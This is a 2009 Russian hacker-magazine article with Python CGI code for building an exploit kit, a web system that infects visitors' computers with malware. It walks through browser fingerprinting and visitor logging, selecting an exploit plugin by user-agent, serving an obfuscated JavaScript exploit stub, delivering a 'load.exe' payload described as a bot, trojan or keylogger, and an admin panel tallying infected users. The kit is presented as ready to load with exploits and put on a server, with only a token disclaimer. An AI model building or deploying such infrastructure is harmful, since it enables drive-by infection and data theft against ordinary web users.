Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

Грузи сплоиты бочками! Пишем движок для сплоит-связки на Python

Роман «predidentua» Хоменко, http://tutamc.com

Fiesta, Fire-Pack, IcePack, Tornado и множество других связок сплоитов знает мир хакеров, но ни одна из них не написана на Python'е. Этот пробел мы и будем устранять.

Связка сплоитов – это web-система, которая объединяет несколько сплоитов. При заходе пользователя на страничку сплоиты применяются, вследствие чего происходит загрузка полезного программного обеспечения (бота, трояна, кейлогера) на компьютер юзера. Кроме того, связка ведет статистику, где фиксирует, кто заходил на страницу, и кто из юзеров был «пробит» сплоитом и заражен трояном. Мы разберем технологию, как практически реализуется эта связка, но не будем внедряться в сам процесс сплоитописания (поскольку это тема отдельной статьи, а точнее – целой сотни статей).

Итак, в нашей планируемой связке я бы выделил четыре части:

  • выбор сплоита;
  • отдача полезной нагрузки;
  • админка;
  • сплоиты.

Для чего нужна каждая часть, мы подробно узнаем в процессе ее реализации.

Ындекс.py

Первая и самая главная часть, далее именуемая «Ы», на запрос пользователя должна проанализировать его браузер и отдать страницу с тем сплоитом, который с наибольшей вероятностью «пробьет» юзера. Кроме того, скрипт занесет в базу данных статистику о пользователе. Мы будем реализовывать простой вариант, когда пользователю отдается только один сплоит. Разумеется, в большинстве случаев лучше использовать несколько сплоитов, которые поочередно применяются ротором на JavaScript, но эту идею мы прибережем для следующих релизов.

Реагировать на запрос юзера будем через cgi (о нем читай во врезке). Для тестирования всего этого хозяйства лучше всего скачать Denwer и модуль к нему для Python'а (я уже скачал, установил, настроил для тебя, так что просто копируй с нашего диска и запускай).

Первый модуль будет полностью содержаться в файле Ындекс - index.py. Для отображения страницы с использованием CGI нужно указать, что скрипт написан на Python'e, и еще нужно обязательно указать заголовок с полем Content-type, пустую строку для отделения заголовка от основного тела и непосредственно наш HTML:

#!/usr/bin/python
# -*- coding: utf-8 -*-

print 'Content-type: text/html'
print
print '<h1>XEK</h1>'

Чтобы разрешить CGI, еще нужно создать файл .htaccess со строчкой:

Options +ExecCGI

CGI-интерфейс, кроме отдачи страницы в браузер, позволяет получать некоторую дополнительную информацию. В первую очередь нас интересует, откуда юзер пришел - referer, его IP, а также User-agent - все это хранится в переменной environ из модуля os. Получить их можно вот так:

import os

ip = os.environ["REMOTE_ADDR"]
ua = os.environ["HTTP_USER_AGENT"]
rf = os.environ["HTTP_REFERER"]

Более красивый способ, через GET:

ua = os.environ.get("HTTP_USER_AGENT",'N/A')

Если User-agent не определен, тогда переменной будет присвоен второй аргумент, строка 'N/A'. Информацию о пользователе мы получили. Настало время сохранить ее в базу данных (мы используем SQLite). Кстати, совсем забыл – в статистику лучше добавить и страну происхождения юзера. Для этих целей используются специальные базы соответствия IP-адреса и страны. Мы будем использовать бесплатную версию базы с сайта http://maxmind.com. Чтобы работать с ней легко и непринужденно, скачай библиотеку с сайта http://code.google.com/p/pygeoip. Скопируем эту библиотеку и базу в папку pygeoip. Тогда в нашем скрипте Ындекс.py станет возможным использовать код:

import pygeoip
gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc = gi.country_code_by_addr(ip)

В результате его работы в переменной 'cc' появится сокращение страны - ru, ua, us. Чрезвычайно удобная библиотека!

SQLite

Вернемся к SQLite. Для примера напишем скрипт инсталляции install.py и разместим его в папке data. Он будет создавать пустую базу данных с двумя таблицами:

import sqlite3
conn = sqlite3.connect('base.db')
conn.execute("CREATE TABLE enter
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip,
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.execute("CREATE TABLE load
(id INTEGER PRIMARY KEY AUTOINCREMENT, ip,
ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")
conn.commit()
conn.close()

В первой строчке мы импортируем библиотеку для работы с sqlite3. Далее – создаем подключение к базе данных; если файла нет, то он сразу будет создан автоматически. Затем к базе данных мы делаем два SQL-запроса по созданию таблиц: одну для сохранения информации всех пользователей, которые зашли на связку, а вторая - для зараженных юзеров. Как видим, SQL-синтаксис несколько упрощен тем, что не указывается тип поля, потому что типы полей при создании таблицы декларативные. При сохранении записи движок сам определяет, в каком формате их сохранять. Тип данных конкретного столбца может меняться от строки к строке. Также мы видим созданные нашими руками два автоматических поля; первый - автоинкрементный ключ, а второй - поле date. В него автоматически записывается текущая дата и время. Теперь в наш файл Ындекс.py можно добавить строчки для ведения статистики:

conn = sqlite3.connect('./data/base.db')
conn.execute('INSERT INTO enter (ip,ua,rf,cc)
VALUES (?,?,?,?)',(ip,ua,rf,cc))
conn.commit()
conn.close()

Сюда желательно добавить проверочку на предмет установления факта «а заходил ли пользователь к нам раньше?». Если заходил – продемонстрировать ошибку 404. Этот код ты сможешь реализовать сам или подсмотреть в исходнике на нашем диске.

Загрузка плагинов со сплоитами

После сбора статистики обычно следует проверка на браузер, результат которой определит выбор конкретного сплоита из списка. Мы поступим чуть красивее - будем использовать плагины, размещенные в папке data/sploits. Каждый сплоит представляет собою файл, содержащий две функции - init и run. Функция init на вход получает user-agent и определяет, сможет ли она пробить браузер; если да - возвращает 1, если нет - 0. А мы в свою очередь, если получили 1, запускаем функцию run, которая вставляет эксплоит в страницу. С плагинами мы уже работали во время написания jabber-бота для администрирования, а код, который загрузит все плагины и запустит их, можно подсмотреть на врезке.

Если же мы обработали все плагины и они с прискорбием сообщили, что не смогут пробить браузер пользователя, – придется показать тому страницу с ошибкой 404:

print 'Status: 404 Not Found'
print 'Content-type: text/html'
print
print 'Not Found'

Сами сплоиты зачастую выглядят так: вначале идет обычная проверка на версию браузера и операционный системы, а дальше, в run - вывод или правильного яваскрипта, или картинки/флэшки, или другого интересного объекта:

def init(ua):
if ua.find('Opera/9.6') and
ua.find('Windows NT'):
return 1
return 0

def run(url):
print "Content-type: text/html"
print
print '''
<script language=JavaScript>
function dc(x){var l=x.length,b=1024,i,j,...'''

Отдача полезной нагрузки

Сработавший в браузере сплоит всегда старается загрузить на ЭВМ юзера полезный груз - в нашем случае со скрипта load.py. Этот скрипт должен сначала занести статистику в файл базы, а затем - отдать нагрузку, файл load.exe. Со статистикой мы уже разобрались – код, аналогичный таковому из Ындекс.ру, но вносит он данные не в таблицу enter, а в load.

В отдаче файла есть один нюанс, связанный с виндой, потому что в ней нужно указывать поток буфера вывода и работать в бинарном режиме:

import msvcrt
msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)

Далее следуют обычные строчки с типом контента и вывод в буфер вывода:

sys.stdout.write(
file(r"./data/load.exe", "rb").read() )

Админка

Админка - технически самая простая и одновременно самая трудоемкая часть. В ней нужно реализовать вывод множества статистических данных. Здесь мы реализуем минимальный функционал с выводом таблицы enter и load. Главная часть кода состоит из нескольких простых строчек, а остальную часть можно посмотреть на диске:

conn = sqlite3.connect('./../data/base.db')
for row in conn.execute("select * from %s
order by date desc" % table):
print '<tr>'
print '<td>%s</td><td>%s</td>'
% (row[0], row[1])
print '</tr>'
conn.close()

Name it!

Итак, связка создана. Можно хоть сейчас загружать в нее пару сплоитов и заливать на сервак. Хотя нет, осталась одна очень важная часть - название связки. «Как вы яхту назовете – так она и поплывет», поэтому я поименую наш сегодняшний крейсер «Sergant Sploit Pack». Вот когда в него будут добавлены сплоиты, шифрование сплоитов и JavaScrip ротор – тогда и переименуем в General Sploit Pack. В общем, пользуйся нашим примером для изучения питона, но ни в коем случае не порабощай машины бедных ушастых юзеров! А если возникнут вопросы – задавай их мне, грешному. Кроме того, не забудь заглянуть на диск с целью поиска ништяков, поскольку и тут мы тебя не обманем – сорцы, бонусы и ][-видео, демонстрирующее работу нашей связки со старенькой оперой тебя не разочаруют. Адиос!

SQLite

SQLite - это встраиваемая база данных. Слово «встраиваемая» означает, что SQLite не использует парадигму клиент-сервер; то есть движок SQLite не является отдельно работающим процессом, с которым взаимодействует программа, а предоставляет библиотеку, с которой программа компонуется, вследствие чего движок становится составной частью программы. Таким образом, в качестве протокола обмена используются вызовы функций (API) библиотеки SQLite. Подобный подход уменьшает накладные расходы, время отклика и упрощает программу. SQLite хранит всю базу данных (включая определения, таблицы, индексы и данные) в единственном стандартном файле на том компьютере, на котором исполняется программа. Простота реализации достигается за счет того, что перед началом исполнения транзакции весь файл, хранящий базу данных, блокируется; ACID-функции достигаются, в том числе, за счет создания файла-журнала.

Несколько процессов или потоков могут одновременно без каких-либо проблем читать данные из одной базы. Запись в базу можно осуществить только в том случае, если никаких других запросов в данный момент не обслуживается; в противном случае попытка записи оканчивается неудачей, и в программу возвращается код ошибки. Другим вариантом развития событий является автоматическое повторение попыток записи в течение заданного интервала времени.

Благодаря архитектуре движка, возможно использовать Sqlite как на встраиваемых (embedded) системах, так и на выделенных машинах с гигабайтными массивами данных.

Сама библиотека SQLite написана на C; существует большое количество привязок к другим языкам программирования, в том числе C++, Java, .NET, Python, Perl, PHP, Tcl (средства для работы с Tcl включены в комплект поставки SQLite), Ruby, Haskell, Scheme, Smalltalk, Lua и многим другим. В 2005 году проект получил награду Google-O’Reilly Open Source Awards.

CGI

CGI (от англ. Common Gateway Interface — «общий интерфейс шлюза») — стандарт интерфейса, используемого для связи внешней программы с веб-сервером.

Сам интерфейс разработан так, чтобы можно было использовать любой язык программирования, который может работать со стандартными устройствами ввода/вывода. Такими возможностями обладают даже скрипты для встроенных командных интерпретаторов операционных систем, поэтому в случаях, когда нет нужды в сложной функциональности, могут использоваться эти простые командные скрипты.

Хотя мы и используем CGI для примера из-за простоты, на практике он уступает альтернативам (FastCGI, SCGI, WSGI и пр.).

Код скрипта index.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import os
import sqlite3
import pygeoip

ip = os.environ.get("REMOTE_ADDR",'127.0.0.1')
ua = os.environ.get("HTTP_USER_AGENT",'')
rf = os.environ.get("HTTP_REFERER",'')

gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')
cc = gi.country_code_by_addr(ip)

conn = sqlite3.connect('./data/base.db')
conn.execute('INSERT INTO enter (ip,ua,rf,cc)
VALUES (?,?,?,?)',(ip,ua,rf,cc))
conn.commit()
conn.close()

for fname in os.listdir('sploits'):
if fname.endswith('.py'):
plugin_name = fname[:-3]
if plugin_name != '__init__':
plugins=__import__('sploits.'+plugin_name)
plugin = getattr(plugins,plugin_name)
if plugin.init(ua):
plugin.run()
exit()

print 'Status: 404 Not Found'
print 'Content-type: text/html'
print
print 'Not Found'

Код скрипта load.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import os,sys
import sqlite3
import pygeoip
from StringIO import StringIO

# здесь статистика, аналогичная index.py

try: # Windows only
import msvcrt
msvcrt.setmode(sys.stdout.fileno(),os.O_BINARY)
except ImportError: pass

print 'Content-Type: application/x-octetstream'
print 'Content-Disposition: attachment;
filename=load.exe'
print 'Content-Title: load.exe'
print

sys.stdout.write(
file(r"./data/load.exe", "rb").read() )

CD

На диске покоятся полные скрипты написанной связки сплоитов.

VIDEO

Без демонстрационного видео я тебя не оставлю - смотри его с нашего диска.

WWW

Содержание
ttfb: 6.2460899353027 ms